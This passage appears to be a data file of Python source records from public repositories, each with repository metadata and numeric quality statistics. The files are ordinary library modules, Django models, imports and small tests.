if __name__ == '__main__':
tf.test.main()
| 29.626374
| 102
| 0.554748
| 1,222
| 13,480
| 5.702128
| 0.184124
| 0.033008
| 0.02411
| 0.060276
| 0.742107
| 0.718427
| 0.7124
| 0.690729
| 0.666045
| 0.660448
| 0
| 0.029716
| 0.383383
| 13,480
| 454
| 103
| 29.69163
| 0.80859
| 0.067582
| 0
| 0.568345
| 0
| 0
| 0.671885
| 0.12476
| 0
| 0
| 0
| 0
| 0.026379
| 1
| 0.016787
| false
| 0
| 0.026379
| 0
| 0.047962
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
7cc8e1b839459fd8e117ff83a1b6d64d8e3baf93
| 716
|
py
|
Python
|
oscar/lib/python2.7/site-packages/phonenumbers/shortdata/region_UY.py
|
sainjusajan/django-oscar
|
466e8edc807be689b0a28c9e525c8323cc48b8e1
|
[
"BSD-3-Clause"
] | null | null | null |
oscar/lib/python2.7/site-packages/phonenumbers/shortdata/region_UY.py
|
sainjusajan/django-oscar
|
466e8edc807be689b0a28c9e525c8323cc48b8e1
|
[
"BSD-3-Clause"
] | null | null | null |
oscar/lib/python2.7/site-packages/phonenumbers/shortdata/region_UY.py
|
sainjusajan/django-oscar
|
466e8edc807be689b0a28c9e525c8323cc48b8e1
|
[
"BSD-3-Clause"
] | null | null | null |
"""Auto-generated file, do not edit by hand. UY metadata"""
from ..phonemetadata import NumberFormat, PhoneNumberDesc, PhoneMetadata
PHONE_METADATA_UY = PhoneMetadata(id='UY', country_code=None, international_prefix=None,
general_desc=PhoneNumberDesc(national_number_pattern='[19]\\d{2,3}', possible_length=(3, 4)),
emergency=PhoneNumberDesc(national_number_pattern='128|911', example_number='911', possible_length=(3,)),
short_code=PhoneNumberDesc(national_number_pattern='1(?:0[4-9]|1[2368]|2[0-3568]|787)|911', example_number='104', possible_length=(3, 4)),
standard_rate=PhoneNumberDesc(national_number_pattern='1787', example_number='1787', possible_length=(4,)),
short_data=True)
| 71.6
| 143
| 0.75838
| 95
| 716
| 5.473684
| 0.536842
| 0.176923
| 0.223077
| 0.276923
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.078221
| 0.089385
| 716
| 9
| 144
| 79.555556
| 0.719325
| 0.074022
| 0
| 0
| 1
| 0.142857
| 0.111111
| 0.057099
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.142857
| 0
| 0.142857
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
7cd175f6aef5d0c246ee5200285fab04c09dcc85
| 437
|
py
|
Python
|
algorithms/bit/__init__.py
|
zhengli0817/algorithms
|
3c98813f0329d9a5fff1107dbcd40e7f38d2275d
|
[
"MIT"
] | null | null | null |
algorithms/bit/__init__.py
|
zhengli0817/algorithms
|
3c98813f0329d9a5fff1107dbcd40e7f38d2275d
|
[
"MIT"
] | null | null | null |
algorithms/bit/__init__.py
|
zhengli0817/algorithms
|
3c98813f0329d9a5fff1107dbcd40e7f38d2275d
|
[
"MIT"
] | null | null | null |
from .add_bitwise_operator import *
from .count_ones import *
from .find_missing_number import *
from .power_of_two import *
from .reverse_bits import *
from .single_number import *
from .single_number2 import *
from .single_number3 import *
from .subsets import *
from .bit_operation import *
from .swap_pair import *
from .find_difference import *
from .has_alternative_bit import *
from .insert_bit import *
from .remove_bit import *
| 27.3125
| 35
| 0.79405
| 63
| 437
| 5.222222
| 0.444444
| 0.425532
| 0.145897
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.005305
| 0.1373
| 437
| 15
| 36
| 29.133333
| 0.867374
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
7cdd3a41e728fb63bd9780801dfa9d36e5a95477
| 2,271
|
py
|
Python
|
skfda/representation/evaluator.py
|
jdtuck/scikit-fda
|
28259dffbc45dfc8dbf3c12839b928f9df200351
|
[
"BSD-3-Clause"
] | null | null | null |
skfda/representation/evaluator.py
|
jdtuck/scikit-fda
|
28259dffbc45dfc8dbf3c12839b928f9df200351
|
[
"BSD-3-Clause"
] | null | null | null |
skfda/representation/evaluator.py
|
jdtuck/scikit-fda
|
28259dffbc45dfc8dbf3c12839b928f9df200351
|
[
"BSD-3-Clause"
] | null | null | null |
"""This module contains the structure of the evaluator, the core of the FData
object for extrapolation and evaluation of FDataGrids"""
from abc import ABC, abstractmethod
class Evaluator(ABC):
"""Structure of an evaluator.
An evaluator defines how to evaluate points of a functional object, it
can be used as extrapolator to evaluate points outside the domain range or
as interpolation in a :class:`FDataGrid`. The corresponding examples of
Interpolation and Extrapolation shows the basic usage of this class.
The evaluator is called internally by :func:`evaluate`.
Should implement the methods :func:`evaluate` and
:func:`evaluate_composed`.
"""
@abstractmethod
def evaluate(self, fdata, eval_points, *, aligned=True):
"""Evaluation method.
Evaluates the samples at evaluation points. The evaluation
call will receive a 2-d array with the evaluation points, or
a 3-d array with the evaluation points per sample if ``aligned``
is ``False``.
Args:
eval_points (numpy.ndarray): Numpy array with shape
``(number_eval_points, dim_domain)`` with the
evaluation points.
Returns:
(numpy.darray): Numpy 3d array with shape
``(n_samples, number_eval_points, dim_codomain)`` with the
result of the evaluation. The entry ``(i,j,k)`` will contain
the value k-th image dimension of the i-th sample, at the
j-th evaluation point.
"""
pass
def __repr__(self):
return f"{type(self)}()"
def __eq__(self, other):
"""Equality operator between evaluators."""
return type(self) == type(other)
class GenericEvaluator(Evaluator):
"""Generic Evaluator.
Generic evaluator that recibes a functions to construct the evaluator.
The function will recieve an :class:`FData` as first argument, a numpy
array with the eval_points and the ``aligned`` parameter.
"""
def __init__(self, evaluate_function):
self.evaluate_function = evaluate_function
def evaluate(self, fdata, eval_points, *, aligned=True):
return self.evaluate_function(fdata, eval_points, aligned=aligned)
| 33.397059
| 78
| 0.666667
| 287
| 2,271
| 5.174216
| 0.421603
| 0.047138
| 0.030303
| 0.044444
| 0.094276
| 0.094276
| 0.055219
| 0.055219
| 0
| 0
| 0
| 0.001772
| 0.254513
| 2,271
| 67
| 79
| 33.895522
| 0.875369
| 0.655218
| 0
| 0.142857
| 0
| 0
| 0.024055
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.357143
| false
| 0.071429
| 0.071429
| 0.142857
| 0.785714
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
|
0
| 4
|
7cee3c36f210806ccc44f93ab19b4ed1f90ed5e7
| 540
|
py
|
Python
|
dnn/layers/__init__.py
|
MalayAgr/DeepNeuralNetworksFromScratch
|
ded75b148d9bb497014c016bfd2d7d0280c007ab
|
[
"MIT"
] | 4
|
2021-08-01T19:18:42.000Z
|
2022-01-09T01:16:26.000Z
|
dnn/layers/__init__.py
|
MalayAgr/DeepNeuralNetworksFromScratch
|
ded75b148d9bb497014c016bfd2d7d0280c007ab
|
[
"MIT"
] | null | null | null |
dnn/layers/__init__.py
|
MalayAgr/DeepNeuralNetworksFromScratch
|
ded75b148d9bb497014c016bfd2d7d0280c007ab
|
[
"MIT"
] | null | null | null |
from dnn.layers.add import Add
from dnn.layers.avgpool2d import AveragePooling2D
from dnn.layers.base_layer import BaseLayer, LayerInputType
from dnn.layers.batch_norm import BatchNorm
from dnn.layers.concatenate import Concatenate
from dnn.layers.conv2d import Conv2D
from dnn.layers.conv2d_depthwise import DepthwiseConv2D
from dnn.layers.conv2d_separable import SeparableConv2D
from dnn.layers.dense import Dense
from dnn.layers.dropout import Dropout
from dnn.layers.flatten import Flatten
from dnn.layers.maxpool2d import MaxPooling2D
| 41.538462
| 59
| 0.862963
| 77
| 540
| 6
| 0.324675
| 0.181818
| 0.337662
| 0.123377
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.020367
| 0.090741
| 540
| 12
| 60
| 45
| 0.92057
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
7cfd85a102320df70a5800adfb3d7e87951db536
| 141
|
py
|
Python
|
.work/sk_linear_sgd.py
|
Anandkarthick/aara
|
1312db564bc12c62772e15301cb54d152c858d45
|
[
"BSD-3-Clause"
] | null | null | null |
.work/sk_linear_sgd.py
|
Anandkarthick/aara
|
1312db564bc12c62772e15301cb54d152c858d45
|
[
"BSD-3-Clause"
] | null | null | null |
.work/sk_linear_sgd.py
|
Anandkarthick/aara
|
1312db564bc12c62772e15301cb54d152c858d45
|
[
"BSD-3-Clause"
] | null | null | null |
class sk_linear_sgd():
def train_model(self,x):
from sklearn import linear_model
def __init__(self):
print("test")
| 17.625
| 40
| 0.638298
| 19
| 141
| 4.315789
| 0.789474
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.262411
| 141
| 7
| 41
| 20.142857
| 0.788462
| 0
| 0
| 0
| 0
| 0
| 0.028369
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.4
| false
| 0
| 0.2
| 0
| 0.8
| 0.2
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
6b0006f6b250035e25a0f307acf084d06dda7659
| 69
|
py
|
Python
|
tests/models/data/horovod/__init__.py
|
neptune-ml/pytorch-lightning
|
3bcaed52454f3e6c3bce5513032e34302e5b1bb6
|
[
"Apache-2.0"
] | 15,666
|
2020-01-14T07:16:15.000Z
|
2022-03-31T23:22:26.000Z
|
tests/models/data/horovod/__init__.py
|
neptune-ml/pytorch-lightning
|
3bcaed52454f3e6c3bce5513032e34302e5b1bb6
|
[
"Apache-2.0"
] | 9,140
|
2020-01-14T03:10:42.000Z
|
2022-03-31T19:57:09.000Z
|
tests/models/data/horovod/__init__.py
|
neptune-ml/pytorch-lightning
|
3bcaed52454f3e6c3bce5513032e34302e5b1bb6
|
[
"Apache-2.0"
] | 2,340
|
2020-01-14T06:45:32.000Z
|
2022-03-31T22:57:07.000Z
|
# this is needed only for mypy==0.800 as it undestands only packages
| 34.5
| 68
| 0.768116
| 13
| 69
| 4.076923
| 0.923077
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.070175
| 0.173913
| 69
| 1
| 69
| 69
| 0.859649
| 0.956522
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
6b0afc5c3c2d56d05d33c80e4b8c05114919d754
| 690
|
py
|
Python
|
python/anyascii/_data/_2a0.py
|
casept/anyascii
|
d4f426b91751254b68eaa84c6cd23099edd668e6
|
[
"ISC"
] | null | null | null |
python/anyascii/_data/_2a0.py
|
casept/anyascii
|
d4f426b91751254b68eaa84c6cd23099edd668e6
|
[
"ISC"
] | null | null | null |
python/anyascii/_data/_2a0.py
|
casept/anyascii
|
d4f426b91751254b68eaa84c6cd23099edd668e6
|
[
"ISC"
] | null | null | null |
b=' Ge Chim Qua Se Ge Qu Sa Ju Bip Die Yi Shi Yi Gui Jiang Song Qiong E Huang Hui Xun Ju Zhai Chi Lao Qi Xiu Hui Tong Fu Xun Jie Mi Yu Diec Chien Ket Sac Hau Song Zhuang Jiao Zhi Cheng Jie Xiao Chen Li Yue Zhi Lao Wo Qu Wang Yi Yi Lang Tou An Jue Yan Ju Zhen Zhi Mang Xiu Chuang Chu Tra Coc Coc Qua Qiang Fei Chang Mian Su Ao Fu Wei Zhi Min Chang Yan Yu Fu Ta Ji Fei Hu Ju Yu Qi Mei Bie Guo Ming Wan Wan Co Go Gie Vac Co Cun Jing Yu Xian Chun Ji Xiang Pen Fu Liu Sai Xue Zou Jie Zhan Yu Yu Mei Miao Mao Duo Fu Cha Jian Hung Miao Ao Ke Hau Cha Jing Ga Tra Hou Jip Gou Xi Rong Ge'
| 690
| 690
| 0.626087
| 144
| 690
| 3
| 0.694444
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.369565
| 690
| 1
| 690
| 690
| 0.993103
| 0
| 0
| 0
| 0
| 1
| 0.992764
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
6b3b9a643c5aba143230f2fc1445c74db8b4ec52
| 289
|
py
|
Python
|
django_eveonline_doctrine_manager/serializers.py
|
KryptedGaming/django-eveonline-doctrines
|
145b80e38a57b4662dc62891dca29a0ba3bfd67c
|
[
"MIT"
] | null | null | null |
django_eveonline_doctrine_manager/serializers.py
|
KryptedGaming/django-eveonline-doctrines
|
145b80e38a57b4662dc62891dca29a0ba3bfd67c
|
[
"MIT"
] | 25
|
2020-04-20T03:04:53.000Z
|
2021-02-21T17:01:53.000Z
|
django_eveonline_doctrine_manager/serializers.py
|
KryptedGaming/django-eveonline-doctrines
|
145b80e38a57b4662dc62891dca29a0ba3bfd67c
|
[
"MIT"
] | 1
|
2020-10-04T18:21:17.000Z
|
2020-10-04T18:21:17.000Z
|
from rest_framework import serializers
from .models import EveFitting
# Serializers define the API representation.
class EveFittingSerializer(serializers.HyperlinkedModelSerializer):
class Meta:
model = EveFitting
fields = ['name', 'fitting', 'ship_id', 'ship_name']
| 28.9
| 67
| 0.750865
| 29
| 289
| 7.37931
| 0.724138
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.16955
| 289
| 9
| 68
| 32.111111
| 0.891667
| 0.145329
| 0
| 0
| 0
| 0
| 0.110204
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
6b4ba11d88e200a72a36ca5d90e5b892028d6792
| 93
|
py
|
Python
|
exampleapp/dinosaurs/apps.py
|
jupiterFierce31/A-simple-example-of-a-Django-REST-app-Angular2
|
15a07836d7c2d775935a5e214a9715677bfe4243
|
[
"MIT"
] | 163
|
2016-07-19T21:04:53.000Z
|
2022-01-28T12:55:14.000Z
|
exampleapp/dinosaurs/apps.py
|
jupiterFierce31/A-simple-example-of-a-Django-REST-app-Angular2
|
15a07836d7c2d775935a5e214a9715677bfe4243
|
[
"MIT"
] | 9
|
2016-10-29T13:32:16.000Z
|
2022-01-28T13:23:21.000Z
|
exampleapp/dinosaurs/apps.py
|
jupiterFierce31/A-simple-example-of-a-Django-REST-app-Angular2
|
15a07836d7c2d775935a5e214a9715677bfe4243
|
[
"MIT"
] | 74
|
2016-07-28T17:13:39.000Z
|
2020-05-28T07:42:28.000Z
|
from django.apps import AppConfig
class DinosaursConfig(AppConfig):
name = 'dinosaurs'
| 15.5
| 33
| 0.763441
| 10
| 93
| 7.1
| 0.9
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.16129
| 93
| 5
| 34
| 18.6
| 0.910256
| 0
| 0
| 0
| 0
| 0
| 0.096774
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
86197509a63e15ca1165fb91ab26b289a8dfca2a
| 138
|
py
|
Python
|
src/igrf/__init__.py
|
stopyun-jirong/igrf
|
951ad3414b2b89e0121faec02e3e194b0e745428
|
[
"MIT"
] | 19
|
2020-08-14T21:57:45.000Z
|
2022-03-21T23:43:02.000Z
|
src/igrf/__init__.py
|
stopyun-jirong/igrf
|
951ad3414b2b89e0121faec02e3e194b0e745428
|
[
"MIT"
] | 8
|
2020-08-24T19:21:00.000Z
|
2022-01-19T15:22:31.000Z
|
src/igrf/__init__.py
|
stopyun-jirong/igrf
|
951ad3414b2b89e0121faec02e3e194b0e745428
|
[
"MIT"
] | 10
|
2020-08-04T12:47:18.000Z
|
2021-12-20T13:58:23.000Z
|
"""
use IGRF via f2py from Python
"""
from .base import igrf, grid
from .utils import mag_vector2incl_decl, latlon2colat, latlonworldgrid
| 23
| 70
| 0.782609
| 19
| 138
| 5.578947
| 0.789474
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.02521
| 0.137681
| 138
| 5
| 71
| 27.6
| 0.865546
| 0.210145
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
8623ebeefe662a9186c2107421337cddfff5c427
| 345
|
py
|
Python
|
kgraph/eval/__init__.py
|
vishalbelsare/kgraph
|
d6ab7a1a9f3d4be0de0c20faed2c44894eebcff1
|
[
"Apache-2.0"
] | null | null | null |
kgraph/eval/__init__.py
|
vishalbelsare/kgraph
|
d6ab7a1a9f3d4be0de0c20faed2c44894eebcff1
|
[
"Apache-2.0"
] | null | null | null |
kgraph/eval/__init__.py
|
vishalbelsare/kgraph
|
d6ab7a1a9f3d4be0de0c20faed2c44894eebcff1
|
[
"Apache-2.0"
] | null | null | null |
#!/user/bin/python
# -*- coding: utf-8 -*-
#
# @ Author: Yao Shuang-Long
# @ Date: 2021/02/27 21:08:48
# @ Summary: the summary.
# @ Contact: xxxxxxxx@email.com
# @ Paper Link:
#
from .functions import calculate_ranks
from .functions import calculate_n2n_ranks
from ._Eval import add_link_prediction
from ._Eval import add_link_n2n_prediction
| 23
| 42
| 0.733333
| 50
| 345
| 4.86
| 0.68
| 0.106996
| 0.156379
| 0.230453
| 0.17284
| 0
| 0
| 0
| 0
| 0
| 0
| 0.057432
| 0.142029
| 345
| 14
| 43
| 24.642857
| 0.763514
| 0.466667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
863d00536b74da973344342b1b1f3424722dae1f
| 344
|
py
|
Python
|
tests/test_test_utils.py
|
adtok/invoices
|
2733aa55fc660edb1c7d1234004c36b8fe50f4b1
|
[
"MIT"
] | null | null | null |
tests/test_test_utils.py
|
adtok/invoices
|
2733aa55fc660edb1c7d1234004c36b8fe50f4b1
|
[
"MIT"
] | null | null | null |
tests/test_test_utils.py
|
adtok/invoices
|
2733aa55fc660edb1c7d1234004c36b8fe50f4b1
|
[
"MIT"
] | null | null | null |
"""Testing for testing utils"""
from .utils import almost_equal
def test_almost_equal():
"""Tests almost_equal"""
assert almost_equal(10.0, 10.0005)
assert not almost_equal(10.0, 10.1)
assert almost_equal(10.0, 10.01, precision=0.1)
# Test "a 10% discount on $10"
assert almost_equal(10.0 - 10.0 * (10.0 / 100), 9.0)
| 26.461538
| 56
| 0.659884
| 59
| 344
| 3.711864
| 0.389831
| 0.351598
| 0.114155
| 0.255708
| 0.374429
| 0.30137
| 0
| 0
| 0
| 0
| 0
| 0.151079
| 0.19186
| 344
| 12
| 57
| 28.666667
| 0.636691
| 0.215116
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.666667
| 1
| 0.166667
| true
| 0
| 0.166667
| 0
| 0.333333
| 0
| 0
| 0
| 0
| null | 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
86411a9eaaf08f84c9fc8670697f5742feec2356
| 21
|
py
|
Python
|
hr/__init__.py
|
dlebech/hipster-robot
|
d214a982606c9a40a7dd5a1674d95eb7e93f2fdd
|
[
"Unlicense"
] | null | null | null |
hr/__init__.py
|
dlebech/hipster-robot
|
d214a982606c9a40a7dd5a1674d95eb7e93f2fdd
|
[
"Unlicense"
] | 4
|
2021-10-09T09:29:19.000Z
|
2022-03-06T16:56:11.000Z
|
hr/__init__.py
|
dlebech/hipster-robot
|
d214a982606c9a40a7dd5a1674d95eb7e93f2fdd
|
[
"Unlicense"
] | null | null | null |
"""Hipster robot."""
| 10.5
| 20
| 0.571429
| 2
| 21
| 6
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.095238
| 21
| 1
| 21
| 21
| 0.631579
| 0.666667
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
8668488fb74cf22197259055d50e22b8a4b8ed9f
| 406
|
py
|
Python
|
photo/models.py
|
margretmwangi/PGallery
|
09f5cab276f40a226fc3b702bcd0f6913155f335
|
[
"Unlicense",
"MIT"
] | null | null | null |
photo/models.py
|
margretmwangi/PGallery
|
09f5cab276f40a226fc3b702bcd0f6913155f335
|
[
"Unlicense",
"MIT"
] | 8
|
2021-03-19T04:11:05.000Z
|
2021-09-22T19:06:38.000Z
|
photo/models.py
|
margretmwangi/PGallery
|
09f5cab276f40a226fc3b702bcd0f6913155f335
|
[
"Unlicense",
"MIT"
] | null | null | null |
from django.db import models
# Create your models here.
class Product(models.Model):
name = models.CharField(max_length=255)
price = models.FloatField()
stock = models.IntegerField()
image_url = models.CharField(max_length=2083)
class Offer(models.Model):
code = models.CharField(max_length=10)
description = models.CharField(max_length=225)
discount = models.FloatField()
| 23.882353
| 50
| 0.729064
| 51
| 406
| 5.705882
| 0.568627
| 0.206186
| 0.247423
| 0.329897
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.035398
| 0.165025
| 406
| 17
| 51
| 23.882353
| 0.823009
| 0.059113
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
8696c7b20a66313d2eebbb38ad156d40d7365448
| 597
|
py
|
Python
|
destacame/persons/models.py
|
osocaramelosofer/destacame
|
7b816be1d785bcd6525265d708c584545490816e
|
[
"MIT"
] | null | null | null |
destacame/persons/models.py
|
osocaramelosofer/destacame
|
7b816be1d785bcd6525265d708c584545490816e
|
[
"MIT"
] | null | null | null |
destacame/persons/models.py
|
osocaramelosofer/destacame
|
7b816be1d785bcd6525265d708c584545490816e
|
[
"MIT"
] | null | null | null |
from django.db import models
from django.urls import reverse
# Create your models here.
class Passenger(models.Model):
name = models.CharField(max_length=50, blank=True, null=True)
def __str__(self):
return f'{self.name}'
def get_absolute_url(self):
return reverse('persons:passenger_detail', args=[str(self.id)])
class Driver(models.Model):
name = models.CharField(max_length=50, blank=True, null=True)
def __str__(self):
return f'{self.name}'
def get_absolute_url(self):
return reverse('persons:driver_detail', args=[str(self.id)])
| 25.956522
| 71
| 0.691792
| 84
| 597
| 4.72619
| 0.404762
| 0.070529
| 0.075567
| 0.105793
| 0.720403
| 0.624685
| 0.624685
| 0.624685
| 0.624685
| 0.624685
| 0
| 0.00818
| 0.180905
| 597
| 22
| 72
| 27.136364
| 0.803681
| 0.040201
| 0
| 0.571429
| 0
| 0
| 0.117338
| 0.078809
| 0
| 0
| 0
| 0
| 0
| 1
| 0.285714
| false
| 0.142857
| 0.142857
| 0.285714
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
|
0
| 4
|
86abdedf81e32a671b62b500cf4c728cbcf14946
| 98
|
py
|
Python
|
fyle_allauth/apps.py
|
fylein/django-allauth-fyle
|
e295db2ecb89fc9c0b3c6a1fc32a4f7a82293b1d
|
[
"MIT"
] | null | null | null |
fyle_allauth/apps.py
|
fylein/django-allauth-fyle
|
e295db2ecb89fc9c0b3c6a1fc32a4f7a82293b1d
|
[
"MIT"
] | 6
|
2019-12-30T07:50:50.000Z
|
2021-06-10T18:56:37.000Z
|
fyle_allauth/apps.py
|
fylein/django-allauth-fyle
|
e295db2ecb89fc9c0b3c6a1fc32a4f7a82293b1d
|
[
"MIT"
] | 3
|
2019-09-03T11:00:54.000Z
|
2019-09-09T08:13:23.000Z
|
from django.apps import AppConfig
class FyleAllauthConfig(AppConfig):
name = 'fyle_allauth'
| 16.333333
| 35
| 0.77551
| 11
| 98
| 6.818182
| 0.909091
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.153061
| 98
| 5
| 36
| 19.6
| 0.903614
| 0
| 0
| 0
| 0
| 0
| 0.122449
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
86f8c7f19a56fd0baea9e7b64762bd9d90720355
| 119
|
py
|
Python
|
plugin/src/test/resources/refactoring/extractmethod/StaticMethod.after.py
|
consulo/consulo-python
|
586c3eaee3f9c2cc87fb088dc81fb12ffa4b3a9d
|
[
"Apache-2.0"
] | null | null | null |
plugin/src/test/resources/refactoring/extractmethod/StaticMethod.after.py
|
consulo/consulo-python
|
586c3eaee3f9c2cc87fb088dc81fb12ffa4b3a9d
|
[
"Apache-2.0"
] | 11
|
2017-02-27T22:35:32.000Z
|
2021-12-24T08:07:40.000Z
|
plugin/src/test/resources/refactoring/extractmethod/StaticMethod.after.py
|
consulo/consulo-python
|
